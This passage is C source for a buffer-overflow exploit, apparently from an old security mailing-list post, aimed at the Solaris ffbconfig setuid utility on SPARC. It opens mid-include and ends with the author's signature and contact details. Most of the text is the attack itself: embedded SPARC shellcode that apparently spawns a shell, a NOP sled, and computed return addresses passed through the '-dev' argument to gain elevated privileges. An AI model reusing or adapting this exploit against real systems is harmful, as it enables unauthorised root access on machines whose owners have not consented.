<sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------------ end of ffbcexp24.c ----------------------------- Cristian Schipor - Computer Science Faculty - Romania - Bucharest Email: skipo(a)math.pub.ro or skipo(a)ns.ima.ro Phone: (401) 410.60.88 PS: "special for STFP"

1 0